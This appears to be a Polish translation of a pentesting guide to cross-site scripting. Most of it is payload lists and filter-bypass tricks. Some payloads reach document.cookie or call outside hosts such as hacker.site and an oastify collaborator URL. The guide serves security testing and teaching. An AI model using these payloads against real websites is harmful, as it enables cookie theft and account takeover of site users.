.. | ||
abusing-service-workers.md | ||
chrome-cache-to-xss.md | ||
debugging-client-side-js.md | ||
dom-clobbering.md | ||
dom-invader.md | ||
dom-xss.md | ||
iframes-in-xss-and-csp.md | ||
js-hoisting.md | ||
other-js-tricks.md | ||
pdf-injection.md | ||
README.md | ||
server-side-xss-dynamic-pdf.md | ||
shadow-dom.md | ||
sniff-leak.md | ||
some-same-origin-method-execution.md | ||
steal-info-js.md | ||
xss-in-markdown.md |
XSS (Cross Site Scripting)
Jeśli interesuje Cię kariera hakera i hakiowanie rzeczy niemożliwych do zhakowania - zatrudniamy! (biegła znajomość języka polskiego w mowie i piśmie wymagana).
{% embed url="https://www.stmcyber.com/careers" %}
Metodologia
- Sprawdź, czy jakakolwiek wartość, którą kontrolujesz (parametry, ścieżka, nagłówki?, ciasteczka?) jest odbijana w HTML lub używana przez kod JS.
- Znajdź kontekst, w którym jest odbijana/używana.
- Jeśli jest odbijana
- Sprawdź, jakie symbole możesz użyć i w zależności od tego, przygotuj ładunek:
- W czystym HTML:
- Czy możesz tworzyć nowe tagi HTML?
- Czy możesz używać zdarzeń lub atrybutów obsługujących protokół
javascript:
? - Czy możesz ominąć zabezpieczenia?
- Czy zawartość HTML jest interpretowana przez jakikolwiek silnik JS po stronie klienta (AngularJS, VueJS, Mavo...), możesz wykorzystać Wstrzyknięcie Szablonu Po Stronie Klienta.
- Jeśli nie możesz tworzyć tagów HTML wykonujących kod JS, czy możesz wykorzystać Zawieszone Znaczniki - Wstrzyknięcie HTML bez skryptów?
- Wewnątrz tagu HTML:
- Czy możesz wyjść do kontekstu czystego HTML?
- Czy możesz tworzyć nowe zdarzenia/atrutyty do wykonania kodu JS?
- Czy atrybut, w którym utknąłeś, obsługuje wykonanie JS?
- Czy możesz ominąć zabezpieczenia?
- Wewnątrz kodu JavaScript:
- Czy możesz uniknąć tagu
<script>
? - Czy możesz uniknąć ciągu znaków i wykonać inny kod JS?
- Czy twoje dane wejściowe są w literałach szablonu ``?
- Czy możesz ominąć zabezpieczenia?
- Funkcja JavaScript wykonywana
- Możesz wskazać nazwę funkcji do wykonania, np.:
?callback=alert(1)
- Jeśli jest używana:
- Możesz wykorzystać DOM XSS, zwróć uwagę, jak twoje dane wejściowe są kontrolowane i czy twoje kontrolowane dane są używane przez jakikolwiek odbiornik.
Pracując nad złożonym XSS, może być interesujące wiedzieć o:
{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}
Odbijane wartości
Aby pomyślnie wykorzystać XSS, pierwszą rzeczą, którą musisz znaleźć, jest wartość kontrolowana przez Ciebie, która jest odbijana na stronie internetowej.
- Odbijane pośrednio: Jeśli zauważysz, że wartość parametru lub nawet ścieżki jest odbijana na stronie internetowej, możesz wykorzystać Odbijane XSS.
- Zapisane i odbijane: Jeśli zauważysz, że wartość kontrolowana przez Ciebie jest zapisywana na serwerze i jest odbijana za każdym razem, gdy odwiedzasz stronę, możesz wykorzystać Zapisane XSS.
- Dostępne za pomocą JS: Jeśli zauważysz, że wartość kontrolowana przez Ciebie jest używana za pomocą JS, możesz wykorzystać DOM XSS.
Konteksty
Próbując wykorzystać XSS, pierwszą rzeczą, którą musisz wiedzieć, to gdzie jest odbijane Twoje dane wejściowe. W zależności od kontekstu będziesz mógł wykonać dowolny kod JS na różne sposoby.
Czyste HTML
Jeśli Twoje dane wejściowe są odbijane na czystej stronie HTML, będziesz musiał wykorzystać jakiś tag HTML, aby wykonać kod JS: <img , <iframe , <svg , <script
... to tylko kilka z wielu możliwych tagów HTML, które możesz użyć.
Pamiętaj również o Wstrzyknięciu Szablonu Po Stronie Klienta.
Wewnątrz atrybutu tagu HTML
Jeśli Twoje dane wejściowe są odbijane wewnątrz wartości atrybutu tagu, możesz spróbować:
- Uciec z atrybutu i z tagu (wtedy będziesz w czystym HTML) i utworzyć nowy tag HTML do wykorzystania:
"><img [...]
- Jeśli możesz uciec z atrybutu, ale nie z tagu (
>
jest zakodowane lub usunięte), w zależności od tagu możesz utworzyć zdarzenie, które wykonuje kod JS:" autofocus onfocus=alert(1) x="
- Jeśli nie możesz uciec z atrybutu (
"
jest zakodowane lub usunięte), w zależności od którego atrybutu Twoje dane są odbijane, czy kontrolujesz całą wartość czy tylko jej część, będziesz mógł to wykorzystać. Na przykład, jeśli kontrolujesz zdarzenie jakonclick=
, będziesz mógł sprawić, żeby wykonywało dowolny kod po kliknięciu. Innym interesującym przykładem jest atrybuthref
, gdzie możesz użyć protokołujavascript:
do wykonania dowolnego kodu:href="javascript:alert(1)"
- Jeśli Twoje dane wejściowe są odbijane wewnątrz "nieeksploatowalnych tagów", możesz spróbować sztuczki z
accesskey
aby wykorzystać lukę (będziesz potrzebował pewnego rodzaju inżynierii społecznej, aby to wykorzystać):" accesskey="x" onclick="alert(1)" x="
Dziwny przykład Angular wykonujący XSS, jeśli kontrolujesz nazwę klasy:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Wewnątrz kodu JavaScript
W tym przypadku twój input jest odbijany między tagami <script> [...] </script>
na stronie HTML, wewnątrz pliku .js
lub w atrybucie używającym protokołu javascript:
:
- Jeśli jest odbijany między tagami
<script> [...] </script>
, nawet jeśli twój input jest wewnątrz jakichkolwiek cudzysłowów, możesz spróbować wstrzyknąć</script>
i uciec z tego kontekstu. Działa to dlatego, że przeglądarka najpierw analizuje tagi HTML, a następnie zawartość, dlatego nie zauważy, że twoja wstrzyknięta etykieta</script>
znajduje się wewnątrz kodu HTML. - Jeśli jest odbijany wewnątrz ciągu JS i poprzedni trik nie działa, będziesz musiał wyjść z ciągu, wykonać swój kod i zrekonstruować kod JS (jeśli wystąpi błąd, nie zostanie wykonany):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- Jeśli jest odbijany wewnątrz literałów szablonu, możesz osadzać wyrażenia JS używając składni
${ ... }
:var greetings = `Hello, ${alert(1)}`
- Kodowanie Unicode działa, aby napisać poprawny kod JavaScript:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Podnoszenie Javascript
Podnoszenie Javascript odnosi się do możliwości deklarowania funkcji, zmiennych lub klas po ich użyciu, dzięki czemu można wykorzystać sytuacje, w których XSS używa zmiennych lub funkcji niewyraźnie zadeklarowanych.
Sprawdź następującą stronę, aby uzyskać więcej informacji:
{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}
Funkcja Javascript
Kilka stron internetowych ma punkty końcowe, które przyjmują jako parametr nazwę funkcji do wykonania. Powszechnym przykładem, który można zobaczyć w sieci, jest coś w rodzaju: ?callback=callbackFunc
.
Dobrym sposobem sprawdzenia, czy coś podanego bezpośrednio przez użytkownika próbuje być wykonane, jest zmiana wartości parametru (na przykład na 'Vulnerable') i sprawdzenie konsoli pod kątem błędów, takich jak:
W przypadku, gdy jest podatne na atak, możesz wywołać alert wysyłając wartość: ?callback=alert(1)
. Jednakże, bardzo często te punkty końcowe będą sprawdzać zawartość, aby zezwolić tylko na litery, cyfry, kropki i podkreślenia ([\w\._]
).
Mimo tych ograniczeń nadal można wykonać pewne działania. Jest to możliwe, ponieważ można użyć tych prawidłowych znaków do uzyskania dostępu do dowolnego elementu w DOM:
Kilka przydatnych funkcji do tego:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Możesz również spróbować wywołać funkcje Javascript bezpośrednio: obj.sales.delOrders
.
Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję są punktami końcowymi bez zbyt interesującego DOM, inne strony w tej samej domenie będą miały bardziej interesujący DOM do wykonania więcej działań.
Dlatego, aby wykorzystać tę podatność w innym DOM, opracowano eksploatację Same Origin Method Execution (SOME):
{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
DOM
Istnieje kod JS, który niebezpiecznie korzysta z pewnych danych kontrolowanych przez atakującego, takich jak location.href
. Atakujący mógłby wykorzystać to do wykonania arbitralnego kodu JS.
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Uniwersalne XSS
Ten rodzaj XSS można znaleźć wszędzie. Nie zależą one tylko od eksploatacji klienta aplikacji internetowej, ale od dowolnego kontekstu. Ten rodzaj arbitralnego wykonania JavaScript może nawet być wykorzystany do uzyskania RCE, odczytu dowolnych plików na klientach i serwerach, i więcej.
Kilka przykładów:
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}
Obchodzenie WAF za pomocą kodowania obrazu
Wstrzykiwanie w surowy HTML
Gdy twój input jest odbijany wewnątrz strony HTML lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, pierwszą rzeczą, którą musisz zrobić, to sprawdzić, czy możesz wykorzystać <
do utworzenia nowych tagów: Po prostu spróbuj odbij ten znak i sprawdź, czy jest on kodowany HTML lub usuwany lub czy jest odbijany bez zmian. Tylko w ostatnim przypadku będziesz mógł wykorzystać ten przypadek.
W tych przypadkach również pamiętaj o Wstrzykiwaniu Szablonów Po Stronie Klienta.
Uwaga: Komentarz HTML można zamknąć używając** -->
lub ****--!>
**
W tym przypadku, jeśli nie jest używane czarne/białe listowanie, można użyć payloadów takich jak:
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
Ale jeśli używane jest filtrowanie tagów/cech czarnej/białej listy, będziesz musiał przeprowadzić atak siłowy na tagi, które możesz utworzyć.
Gdy już znajdziesz dozwolone tagi, będziesz musiał przeprowadzić atak siłowy na cechy/zdarzenia w znalezionych poprawnych tagach, aby zobaczyć, jak możesz zaatakować kontekst.
Atak siłowy na tagi/zdarzenia
Przejdź do https://portswigger.net/web-security/cross-site-scripting/cheat-sheet i kliknij Skopiuj tagi do schowka. Następnie prześlij je wszystkie za pomocą narzędzia Burp Intruder i sprawdź, czy którykolwiek z tagów nie został uznany za złośliwy przez WAF. Gdy już odkryjesz, które tagi możesz użyć, możesz przeprowadzić atak siłowy na wszystkie zdarzenia za pomocą poprawnych tagów (na tej samej stronie internetowej kliknij Skopiuj zdarzenia do schowka i postępuj tak samo jak wcześniej).
Tagi niestandardowe
Jeśli nie znalazłeś żadnego poprawnego tagu HTML, możesz spróbować utworzyć tag niestandardowy i wykonać kod JS za pomocą atrybutu onfocus
. W żądaniu XSS musisz zakończyć adres URL znakiem #
, aby strona skupiła się na tym obiekcie i wykonała kod:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Pomijanie listy blokowanych elementów
Jeśli jest używana jakaś lista blokowanych elementów, możesz spróbować ją ominąć za pomocą kilku głupich sztuczek:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Długość bypass (małe XSSy)
{% hint style="info" %} Więcej małych XSSów dla różnych środowisk payload znajdziesz tutaj oraz tutaj. {% endhint %}
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>
Ostatni z nich używa 2 znaków Unicode, które rozszerzają się do 5: telsr
Więcej tych znaków można znaleźć tutaj.
Aby sprawdzić, w jakie znaki są rozkładane, sprawdź tutaj.
Kliknij XSS - Clickjacking
Jeśli do wykorzystania podatności potrzebujesz, aby użytkownik kliknął link lub formularz z wstępnie wypełnionymi danymi, możesz spróbować wykorzystać Clickjacking (jeśli strona jest podatna).
Niemożliwe - Wiszące znaczniki
Jeśli uważasz, że niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS, powinieneś sprawdzić Wiszące znaczniki, ponieważ możesz wykorzystać podatność bez wykonania kodu JS.
Wstrzykiwanie wewnątrz tagu HTML
Wewnątrz tagu/ucieczka z wartości atrybutu
Jeśli jesteś wewnątrz tagu HTML, pierwszą rzeczą, którą możesz spróbować, jest ucieczka z tagu i użycie niektórych technik wymienionych w poprzednim rozdziale do wykonania kodu JS.
Jeśli nie możesz uciec z tagu, możesz utworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając pewnego ładunku takiego jak (zauważ, że w tym przykładzie podwójne cudzysłowy są używane do ucieczki z atrybutu, nie będą one potrzebne, jeśli twoje dane wejściowe są odzwierciedlane bezpośrednio w tagu):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Zdarzenia stylu
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Wewnątrz atrybutu
Nawet jeśli nie możesz uciec z atrybutu ("
jest kodowany lub usuwany), w zależności od którego atrybutu twoja wartość jest odzwierciedlana, czy kontrolujesz całą wartość czy tylko jej część, będziesz mógł ją nadużyć. Na przykład, jeśli kontrolujesz zdarzenie takie jak onclick=
, będziesz mógł sprawić, że wykona ono arbitralny kod po kliknięciu.
Innym interesującym przykładem jest atrybut href
, gdzie można użyć protokołu javascript:
do wykonania arbitralnego kodu: href="javascript:alert(1)"
Ominięcie wewnątrz zdarzenia za pomocą kodowania HTML/kodowania URL
Zakodowane znaki HTML wewnątrz wartości atrybutów tagów są dekodowane w czasie wykonywania. Dlatego coś takiego jak poniżej będzie ważne (payload jest wytłuszczony): <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Wróć </a>
Zauważ, że każdy rodzaj kodowania HTML jest ważny:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Należy pamiętać, że kodowanie adresów URL również będzie działać:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Ominięcie zdarzenia wewnętrznego za pomocą kodowania Unicode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Specjalne protokoły wewnątrz atrybutu
W niektórych miejscach można użyć protokołów javascript:
lub data:
do wykonania dowolnego kodu JS. W niektórych przypadkach będzie wymagana interakcja użytkownika, a w innych nie.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascriptΪlert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Miejsca, w których można wstrzyknąć te protokoły
Ogólnie protokół javascript:
można użyć w dowolnym znaczniku, który akceptuje atrybut href
oraz w większości znaczników akceptujących atrybut src
(ale nie <img
)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Inne sztuczki maskowania
W tym przypadku kodowanie HTML i sztuczka kodowania Unicode z poprzedniej sekcji są również ważne, ponieważ znajdujesz się w atrybucie.
<a href="javascript:var a=''-alert(1)-''">
Ponadto istnieje inny fajny trik dla tych przypadków: Nawet jeśli twój **wejście wewnątrz javascript:...
jest kodowane URL, zostanie ono zdekodowane przed wykonaniem. Więc jeśli musisz wyjść ze stringa używając pojedynczego cudzysłowu i widzisz, że jest kodowane URL, pamiętaj, że to nie ma znaczenia, zostanie to zinterpretowane jako pojedynczy cudzysłów podczas wykonywania.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Zauważ, że jeśli spróbujesz użyć zarówno URLencode + HTMLencode
w dowolnej kolejności do zakodowania payloadu, to nie zadziała, ale możesz je mieszać wewnątrz payloadu.
Używanie kodowania szesnastkowego i ósemkowego z javascript:
Możesz użyć kodowania szesnastkowego i ósemkowego wewnątrz atrybutu src
elementu iframe
(przynajmniej) do deklaracji tagów HTML do wykonania JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Odwrócone przejęcie karty (Reverse tab nabbing)
<a target="_blank" rel="opener"
Jeśli możesz wstrzyknąć dowolny adres URL w arbitralny tag <a href=
zawierający atrybuty target="_blank" and rel="opener"
, sprawdź następującą stronę, aby wykorzystać to zachowanie:
{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}
Bypass dotyczący obsługi zdarzeń
Po pierwsze sprawdź tę stronę (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) w poszukiwaniu przydatnych obsług zdarzeń "on".
W przypadku, gdy istnieje czarna lista uniemożliwiająca tworzenie tych obsług zdarzeń, można spróbować następujących bypassów:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS w "Niewykorzystywanych tagach" (ukryte pole wejściowe, link, kanoniczny, meta)
Z tutaj teraz możliwe jest nadużycie ukrytych pól wejściowych za pomocą:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
A w meta tagach:
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Z tutaj: Możesz wykonać payload XSS wewnątrz atrybutu ukrytego, pod warunkiem, że uda ci się przekonać ofiarę do naciśnięcia kombinacji klawiszy. W przeglądarce Firefox na Windowsie/Linux kombinacja klawiszy to ALT+SHIFT+X, a na OS X to CTRL+ALT+X. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie klucza dostępu. Oto wektor:
<input type="hidden" accesskey="X" onclick="alert(1)">
Payload XSS będzie wyglądać mniej więcej tak: " accesskey="x" onclick="alert(1)" x="
Ominięcia czarnej listy
W tej sekcji już przedstawiono kilka sztuczek z użyciem różnych kodowań. Wróć, aby dowiedzieć się, gdzie możesz użyć:
- Kodowania HTML (tagi HTML)
- Kodowania Unicode (może być poprawnym kodem JS):
\u0061lert(1)
- Kodowania URL
- Kodowania szesnastkowego i ósemkowego
- Kodowania danych
Ominięcia dla tagów i atrybutów HTML
Przeczytaj Ominięcia czarnej listy z poprzedniej sekcji.
Ominięcia dla kodu JavaScript
Przeczytaj Ominięcia czarnej listy JavaScript z następnej sekcji.
Gadżety CSS
Jeśli znalazłeś XSS w bardzo małej części strony, która wymaga interakcji (może to być mały link w stopce z elementem onmouseover), możesz spróbować zmodyfikować przestrzeń, którą zajmuje ten element, aby zwiększyć szanse na wywołanie linku.
Na przykład, możesz dodać stylowanie do elementu, takie jak: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Jeśli jednak WAF filtrowanie atrybut stylu, możesz użyć Gadżetów Stylowania CSS, więc jeśli znajdziesz, na przykład
.test {display:block; color: blue; width: 100%}
i
#someid {top: 0; font-family: Tahoma;}
Teraz możesz zmodyfikować nasz link i przekształcić go w formę
<a href="" id=someid class=test onclick=alert() a="">
Ten trik został zaczerpnięty z https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Wstrzykiwanie wewnątrz kodu JavaScript
W tych przypadkach twój input będzie odzwierciedlany wewnątrz kodu JS pliku .js
lub między tagami <script>...</script>
lub między zdarzeniami HTML, które mogą wykonać kod JS lub między atrybutami, które akceptują protokół javascript:
.
Ucieczka przed tagiem <script>
Jeśli twój kod jest wstawiany między <script> [...] var input = 'reflected data' [...] </script>
, możesz łatwo uciec zamykając tag <script>
:
</script><img src=1 onerror=alert(document.domain)>
Zauważ, że w tym przykładzie nawet nie zamknęliśmy pojedynczego cudzysłowu. Dzieje się tak, ponieważ przeglądarka najpierw wykonuje analizę HTML, która polega na identyfikowaniu elementów strony, w tym bloków skryptów. Analiza JavaScript w celu zrozumienia i wykonania osadzonych skryptów odbywa się dopiero później.
Wewnątrz kodu JS
Jeśli <>
są oczyszczane, nadal możesz wyjść z ciągu znaków, gdzie znajduje się twoje wejście i wykonać dowolny kod JS. Ważne jest, aby poprawić składnię JS, ponieważ jeśli wystąpią jakiekolwiek błędy, kod JS nie zostanie wykonany:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
Szablony literałów ``
Aby skonstruować ciągi znaków oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również backticki ``
. Jest to znane jako szablony literałów, ponieważ pozwalają one na osadzanie wyrażeń JS za pomocą składni ${ ... }
.
Dlatego jeśli zauważysz, że twoje dane wejściowe są odbijane wewnątrz ciągu znaków JS korzystającego z backticków, możesz nadużyć składni ${ ... }
do wykonania dowolnego kodu JS:
Można to wykorzystać używając:
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````
Wykonanie zakodowanego kodu
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Kodowanie Unicode wykonania JS
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Techniki omijania czarnych list w JavaScript
Łańcuchy znaków
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Specjalne ucieczki
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself
Zastępowanie spacji wewnątrz kodu JS
<TAB>
/**/
Komentarze JavaScript (z triku Komentarze JavaScript )
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
Nowe linie JavaScript (z triku Nowa linia w JavaScript )
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
Białe znaki w JavaScript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript wewnątrz komentarza
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript bez nawiasów
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
